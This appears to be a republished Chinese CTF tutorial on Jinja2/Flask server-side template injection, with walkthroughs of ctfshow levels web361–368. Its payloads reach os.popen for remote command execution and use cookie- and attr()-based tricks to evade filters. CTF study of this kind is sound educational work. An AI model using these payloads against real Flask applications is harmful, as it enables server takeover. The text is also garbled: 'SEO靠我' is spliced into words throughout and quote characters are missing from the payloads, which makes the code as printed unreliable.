解决方案

初识SSTI

seo靠我 2023-09-26 00:53:59

SSTI概念

SSTI就是服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞;可以类比于SQL注入,实际上这两者的基本思想是一致的;

SSTI也是获取SEO靠我了一个输入,然后在后端的渲染处理上进行了语句的拼接,之后便是执行;SSTI利用的是现在网站模板引擎(Python的jinja2、mako、tornado、django;PHP的smarty、twig;SEO靠我JAVA的jade、等等),当在运用这些框架对运用渲染函数生成html的时候便会出现SSTI的问题

什么是模板引擎?

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产SEO靠我生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

简单来说就是利用模板引擎来生成一套前端HTML代码,只需要获取用户的数据,然后放到渲染函数中,之后便生成模板+用户数据SEO靠我的前端HTML页面,然后反馈给浏览器,呈现在用户的面前

引发SSTI的原因

渲染函数在渲染的时候,往往不会对用户输入的变量进行渲染;

如何判断SSTI类型

这是在网上找到的图片,根据处理返回值的不同来判断SSSEO靠我TI的类型:

SSTI常用类

__class__

__class__用来查看变量所属的类,格式为:变量.__class__

.__class__ #<class str> ().__classSEO靠我__ #<class tuple> {}.__class__ #<class dict> [].__class__ #<class list>

__bases__

__baSEO靠我ses__用来查看类的基类,注意是类的基类,所以格式应该是:变量.__class__.__bases__

>>> .__class__.__bases__ (<class object>SEO靠我,) >>> ().__class__.__bases__ (<class object>,) >>> {}.__class__.__bases__ SEO靠我 (<class object>,) >>> [].__class__.__bases__ (<class object>,)

同时也可以加上数组,来指定获取SEO靠我第几个基类;例如:变量.__class__.bases__[0] 代表着获取第一个基类

还有一个类是__mro__,他显示类和基类,这是与__bases__不同的地方:

>>> .__class__.__SEO靠我mro__ (<class str>, <class object>)

__subclasses__

__subclasses__()用来查看当前类的子类,格式为:变量.__class__SEO靠我.__bases__[0].__subclasses__()

当然和__bases__一样,也可以加上数组,来查看指定的索引值:

>>> .__class__.__bases__[0].__subclasSEO靠我ses__()[0] <class type>

类的知识总结(转载)

__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 SEO靠我 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 SEO靠我 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclSEO靠我asses. This method returns a list of all those references still alive. The list is in definition ordSEO靠我er. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用SEO靠我的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattributSEO靠我e__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方SEO靠我法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a[b],就是a.__getitem__SEO靠我(b) __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtSEO靠我ins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__(os).popen(lSEO靠我s).read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__SEO靠我,而且url_for.__globals__[__builtins__]含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__bSEO靠我uiltins__,而且get_flashed_messages.__globals__[__builtins__]含有current_app。 lipsum flask的一个方法,可SEO靠我以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__[os].popen(ls).read()}} curSEO靠我rent_app 应用上下文,一个全局变量。request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globalSEO靠我s__[__builtins__].open(/proc\self\fd/3).read() request.args.x1 get传参 request.values.SEO靠我x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 postSEO靠我传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参SEO靠我 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当SEO靠我前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__[os].popen(ls).read() }} gSEO靠我 {{g}}得到<flask.g of flask_ssti>

常见过滤器(转载)

常用的过滤器:int():将值转换为int类型;float():将值转换为float类型;lower():将字符串转换为SEO靠我小写;upper():将字符串转换为大写;title():把值中的每个单词的首字母都转成大写;capitalize():把变量值的首字母转成大写,其余字母转小写;trim():截取字符串前面和后面的空SEO靠我白字符;wordcount():计算一个长字符串中单词的个数;reverse():字符串反转;replace(value,old,new): 替换将old替换为new的字符串;truncate(valSEO靠我ue,length=255,killwords=False):截取length长度的字符串;striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;escape()SEO靠我或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义SEO靠我。示例: {{<em>hello</em>|safe}};list():将变量列成列表;string():将变量转换成字符串;join():将一个序列中的参数值拼接成字符串。示例看上面payload;SEO靠我abs():返回一个数值的绝对值;first():返回一个序列的第一个元素;last():返回一个序列的最后一个元素;format(value,arags,*kwargs):格式化字符串。比如:{{ SEO靠我"%s" - "%s"|format(Hello?,"Foo!") }}将输出:Helloo? - Foo!length():返回一个序列或者字典的长度;sum():返回列表内数值的和;sort():SEO靠我返回排序后的列表;default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default(xiaotuo)-SEO靠我---如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为faSEO靠我lse,则可以传递boolean=true。也可以使用or来替换。length()返回字符串的长度,别名是count

练习(ctfshow)

web361

进入首页:(回头看hint,发现”名字就是考点“,SEO靠我经过测试传参为name)

传递参数?name={{7*7}},得到回显为49

根据上文提到的,先来找变量所属的类以及当前的类的基类是什么,用空字符来测试;

在Python中,所有的类都会继承Object类,SEO靠我如果定义一个类没有指定继承某个类,那么默认继承的是Object类

?name={{.__class__.__bases__[0]}}

之后便是找类的子类,使用的就是__subclasses__()

?namSEO靠我e={{.__class__.__bases__[0].__subclasses__()}}

找到所有的子类的集合之后,我们需要找出一个能够使用的类,要求这个类的某一个方法能够被我们用于执行和寻找flaSEO靠我g

这里使用的是第133个类(第一个类的索引值为0):

之后便是实例化这个类,使用__init__(初始化类,返回的类型是function),实例化类之后,通过全局变量globals来查看所有的方法(初始SEO靠我化类之后,使用function.__globals__来查看function所处空间下可使用的module、方法和所有的变量)

?name={{.__class__.__bases__[0].__subSEO靠我classes__()[132].__init__.__globals__}}

根据方法来获取flag

?name={{.__class__.__bases__[0].__subclasses__()[1SEO靠我32].__init__.__globals__[popen](ls /).read()}} ?name={{.__class__.__bases__[0].__subclasses_SEO靠我_()[132].__init__.__globals__[popen](cat /flag).read()}}

web362

"开始过滤了..." 首页还是一样的!

还是按照上面的方法先试试:

到这里还是可SEO靠我以的,也就是说我们可以获得第一个基类下面的所有的子类的集合,但是发现无法使用第133个类:

PS:因为过滤了数字2 3

这里就需要另谋他路了,上面附上了一张类的知识的总结表(转载);其中存在下面的几个知识SEO靠我点:

__builtins__:内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数(比如说eval、import)。

uSEO靠我rl_for:flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__[__builtins__]含有current_app。

get_flashed_meSEO靠我ssages:flask的一个方法,可以用于得到__builtins__,而且get_flashed_messages.__globals__[__builtins__]含有current_app。

lSEO靠我ipsum:flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__[os].popen(ls).reSEO靠我ad()}}

所以可以使用上面的三种方法来得到__builtins__,之后便是内含的模块,进行命令执行获取flag;

?name={{url_for.__globals__.__builtins__[eSEO靠我val]("__import__(os).popen(ls /).read()")}} ?name={{get_flashed_messages.__globals__.__builtSEO靠我ins__[eval]("__import__(os).popen(cat /flag).read()")}} ?name={{lipsum.__globals__.__builtinSEO靠我s__[eval]("__import__(os).popen(cat /flag).read()")}}

还有一种方法可以获取到__builtins__:

?name={{xx.__init__.__gSEO靠我lobals__}}

这里的xx可以是26个英文字符的任意组合;

web363

PS:过滤了单双引号

利用request方法绕过:

我们还是利用上面的payload来打,唯一被过滤的地方就是单双引号,我们先来看SEO靠我看上一关的payload和使用request方法绕过单双引号的payload有什么不一样:

?name={{get_flashed_messages.__globals__.__builtins__.eSEO靠我val(request.args.x1)}}&x1=__import__(os).popen(ls).read() #上面的payload是使用了request来绕过引号,而下面的paSEO靠我yload就是我们正常的payload ?name={{get_flashed_messages.__globals__.__builtins__.eval("__import__(oSEO靠我s).popen(ls).read()")}}

web364

经过测试发现还是过滤了单双引号,并且还过滤args;可以更换请求方式例如POST、Cookie的方式传递参数;

但是在使用post方式的时候,提SEO靠我示:

使用cookie便可绕过;

?name={{lipsum.__globals__.__builtins__.eval(request.cookies.x)}} cookie: x=_SEO靠我_import__(os).popen(cat /flag).read()

web365

用上面的payload继续打还是可以打通的;过滤引号以及中括号

?name={{url_for.__globals_SEO靠我_.os.popen(request.cookies.x).read()}} Cookie: x = ls /?name={{url_for.__globals__.os.popen(SEO靠我request.cookies.x).read()}} Cookie: x = cat /flag

web366

过滤引号、中括号、args还过滤了下划线,那么现在的问题就是想办法绕过下划SEO靠我线;经过百度查询,同样还是利用request.values来绕过,但是题目中还是过滤了中括号的:

?name={{lipsum.(request.cookies.globals).(request.coSEO靠我okies.builtins).eval(request.cookies.x)}}

cookie:globals=__globals__;builtins=__builtins__;x=__importSEO靠我__(os).popen(ls /).read()

发现这种方式是会出现500错误的;这里要使用的是attr() 他是flask自带的过滤器

"".__class__ 相当于 ""|attr("__claSEO靠我ss__")

PS:常用于”.“号或者是下划线被过滤

?name={{lipsum.__globals__.__builtins__.os.popen(ls /).read()}} ?naSEO靠我me={{(lipsum|attr(request.cookies.x1)).os.popen(request.cookies.x2).read()}}

web367

过滤了引号、中括号、下划线

同样还是使SEO靠我用上面的payload继续打:

发现还是可以打通的,但是后面使用os的时候,发现被过滤了:可以使用request.cookies.a来绕过;

?name={{(lipsum|attr(request.coSEO靠我okies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

web368

经过测试发现,应该是在上面的题目的基础上增加过滤“{{“SEO靠我开头, 以”}}“结尾;

使用的是%和print来绕过;

?name={%print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popeSEO靠我n(request.cookies.c).read()%}

文章参考:https://blog.csdn.net/rfrder/article/details/113866139

https://blogSEO靠我.csdn.net/miuzzx/article/details/110220425

https://blog.csdn.net/qq_42880719/article/details/12269971SEO靠我0?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522167695429516782427448079%2522%252C%2522scmSEO靠我%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=167695429516782427448079&biz_id=0SEO靠我&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-7-1226SEO靠我99710-null-null.142^v73^pc_search_v2,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=ctfshow%20ssti&spSEO靠我m=1018.2226.3001.4187

“SEO靠我”的新闻页面文章、图片、音频、视频等稿件均为自媒体人、第三方机构发布或转载。如稿件涉及版权等问题,请与 我们联系删除或处理,客服邮箱:html5sh@163.com,稿件内容仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同 其观点或证实其内容的真实性。

网站备案号:浙ICP备17034767号-2